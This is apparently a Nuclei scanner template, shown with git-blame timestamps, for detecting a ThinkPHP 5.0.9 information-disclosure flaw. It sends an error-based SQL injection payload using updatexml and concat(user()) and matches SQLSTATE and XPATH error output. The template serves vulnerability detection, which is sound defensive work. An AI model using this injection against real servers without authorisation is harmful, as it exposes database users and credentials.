2021-01-19 04:16:59 +00:00
|
|
|
id: thinkphp-509-information-disclosure
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: ThinkPHP 5.0.9 Information Disclosure
|
|
|
|
author: dr_set
|
|
|
|
severity: critical
|
|
|
|
description: Verbose SQL error message reveals sensitive information including database credentials.
|
2021-01-19 07:03:48 +00:00
|
|
|
reference: https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/in-sqlinjection
|
2021-02-12 05:53:01 +00:00
|
|
|
tags: thinkphp
|
2021-01-19 07:03:48 +00:00
|
|
|
|
2021-01-19 04:16:59 +00:00
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1"
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "SQLSTATE"
|
|
|
|
- "XPATH syntax error"
|
|
|
|
condition: and
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 500
|